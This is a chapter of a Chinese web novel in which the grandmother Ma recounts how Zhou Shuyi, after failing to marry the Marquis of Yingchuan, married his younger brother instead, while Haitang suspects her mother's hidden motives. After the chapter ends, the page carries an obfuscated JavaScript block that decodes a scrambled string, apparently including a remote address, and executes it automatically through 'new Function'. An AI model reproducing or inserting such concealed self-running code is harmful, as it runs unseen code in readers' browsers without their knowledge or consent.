在说起周淑仪嫁入颍川侯府的故事之前,马氏先给海棠简单介绍了一下颍川侯府的情况。
颍川侯府曾家,原是本朝开国勋贵,拥有丹书铁券,世袭罔替。不过,曾经显赫的曾家,其实在五十多年前就势微了,失去了兵权,连侯爵之位都从一等的平西侯降为了三等的颍川侯。子孙又不争气,全靠祖传的底子撑场面罢了。上任的颍川侯有个宗室女母亲,可本人想要娶个高门大户出身的淑女做正妻,都要被人挑三拣四。
他命运的转折点,是在他被委任为某位出宫开府的小皇子的王府亲卫队长之后。而那位小皇子,便是后来登基的德光皇帝。
德光皇帝在潜邸时,曾经受过得宠的兄弟们欺负,上任颖川侯救过他两回,立下大功,便在德光皇帝继位登基后,一跃成为了禁军统领,是众所周知的新君心腹爱将。
可惜几年后,他便在出外差途中感染风寒,壮年身亡。
当时他的两个儿子年纪都还小,孤儿寡母好不可怜。德光皇帝觉得是自己没有保护好忠臣良将,心生愧疚,便对曾家遗孀遗孤照应有加。
继承爵位的现任颍川侯幼年袭爵,刚满了十六岁,就被召入宫中做了御前侍卫。德光皇帝关心着他的成长与婚姻,亲自为他赐了婚,后来又委任他做了禁军统领,十分信重。每逢年节时,皇帝赏赐宗室皇亲高官勋贵,颍川侯府总是头一份。几十年下来,他家家财巨富、圣眷极隆,若无意外,极有可能世世代代都会统领禁军,与国同寿,乃是第一等的勋贵人家。
作为德光皇帝最宠信的心腹爱将,现任颍川侯的婚配对象,定是要由皇帝决定人选的。不过皇帝不清楚各家名门淑女的情况,又不想委托吴皇后,生怕吴皇后会偏着娘家,从保守派人家中选人,可孙贵妃刚生子不久,身体虚弱,无暇他顾,他又想着要找机会与周太后和解,好换取嫡母在一些涉及生母的事情上松口,便将心腹爱将的婚事托给了周太后。
周太后接过了暗示,写信给娘家人,让镇国公夫妇从家里的适龄女孩中挑几个好姑娘,送到京城来相亲。哪怕这些周家姑娘嫁不了颍川侯,京城还有许多优秀的婚配对象呢!
信传到长安之后,镇国公夫人亲自挑中了三个侄女——他们夫妇并没有未婚的女儿,只能从侄女中选人。这三个姑娘个个都才貌双全、身体健康、品行端庄、性情温婉。她们当中父亲官位最低者,也有四品,最高是从二品,无论家世还是个人条件,都绝对配得上颍川侯。
可人还未出发去京城呢,周家三房就出了夭蛾子。
马老夫人不知用什么理由,说服了丈夫出面与镇国公交涉,把自己的女儿周淑仪给塞进了三人名单中。周淑仪的辈份比其他姑娘都要高一辈,算是镇国公与太后的同辈堂妹,虽然年纪小,但她若真嫁给了颍川侯,在辈份上其实会让周太后颇为尴尬的。不过镇国公最后还是点了头。
镇国公夫人作为领队,带着人集体前往京城相亲,却没有擅专之意。她让各位姑娘的母亲随行,就算要定下婚事,也要让丈母娘们亲自考察过未来姑爷,再决定要不要嫁女,免得姑娘们将来在婆家遇到什么不顺心的事,她们的父母会怪到从中牵线搭桥的周太后与镇国公夫妇身上。
其他三位姑娘的母亲都欣然答应同行,奇怪的是,周淑仪的母亲马老夫人却不打算跟着去。她推说放心不下丈夫,又不肯让儿媳周马氏出面,所以就把事情托付给了同行的一位四品诰命侄媳妇——后者算是与她来往比较多的夫族女眷,得她重托,简直是受宠若惊。
马氏说起当年出发前周氏族中的闹剧,表情就透着不可思议:“额去看大姐,亲眼见到那淑仪姑太太当着亲友外人的面哭成个泪人儿,吵着闹着要让老娘陪自己进京,马老夫人都不为所动……从前额们只说大姐的后婆婆把闺女宠上了天,定会把人宠坏的,万万没想到,她对亲闺女还有如此铁石心肠的时候……就连他家老太爷,都说自己的旧患早已没有大碍了,家里不缺人侍候,夫人暂时离开几个月也没啥,闺女的亲事要紧,可马老夫人就是不肯松口……”
周淑仪是马老夫人的老来女,出生时母亲都已经四十多岁了,父亲也到了可以做她爷爷的年纪,哥哥们少说比她大了十几岁,个个都视她如珠如宝,有求必应,因此她从小娇纵,从未有过不顺心之事。再加上她辈份高,族里差不多年纪的女孩子都要管她叫姑姑,处处敬着她,她傲慢惯了,直到那一回无论如何都无法求得母亲同意陪自己上京,她才收敛了一些脾气。
这四个姑娘去了京城后经历过什么事,马氏就不是很清楚了。她只知道,同去的姑娘之一隔年又随夫婿回到了长安,提起当年旧事,说周淑仪是所有姑娘中才貌最出色的,曾认定颍川侯必定会选中自己为妻,没想到早在她到京城之前,颍川侯就已经跟另一位名门淑女互相看对了眼,还跟御前打了招呼。镇国公夫人带着周家女到了京城后,见过太后,就知道最好的一门亲事已经没戏。不过不打紧,京中还有许多勋贵高官家的子弟,都是不错的婚配对象。很快几位周家女便都有了自己的姻缘。
只有周淑仪,心里似乎对颍川侯有执念似的,坚决不肯接受其他的对象。无奈皇帝下旨为颍川侯赐了婚,彻底断绝了她的希望。周太后本打算给她另找青年才俊的,没想到她转头就盯上了颍川侯的同胞亲弟弟。
曾二老爷比兄长和周淑仪小两岁,不知为何迷恋上了这个本想做自己嫂子的姑娘。他亲自去求母亲与兄长出面,为自己提亲。颍川侯不大高兴,但拗不过弟弟,只好答应了。
周淑仪就这么嫁给了颍川侯的亲弟弟,成为了颍川侯府的二太太。
周太后与镇国公夫人其实都对这门亲事不是很满意,总疑心周淑仪做了什么不好的事。可皇帝已经赐了婚,她们又能怎么办呢?只得送信回长安告知消息,让周家三房为周淑仪准备嫁妆了。
周淑仪的父亲对女婿人选也不大满意,可马老夫人却很欢喜,曾跟身边的人喜极而泣:“我的女儿总算嫁回京城去了,我总算是得偿夙愿。”
马氏对孙女道:“要不是她自个儿说了,谁知道她一直想把闺女嫁回京城呢?从未听她说起过哩!”
海棠心中只想冷笑。
颍川侯府在五十多年前还是平西侯府,这个名字多熟悉呀。宋育珠本来定下的未婚夫,不就是平西侯世子么?她勾结敌国质子,为情人出卖了未婚夫一家,退婚后报复了家人与情人,诈死远遁,另嫁他人。现在又后悔了?想要把女儿嫁回平西侯府去,续上自己曾经毁掉的人生吗?
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();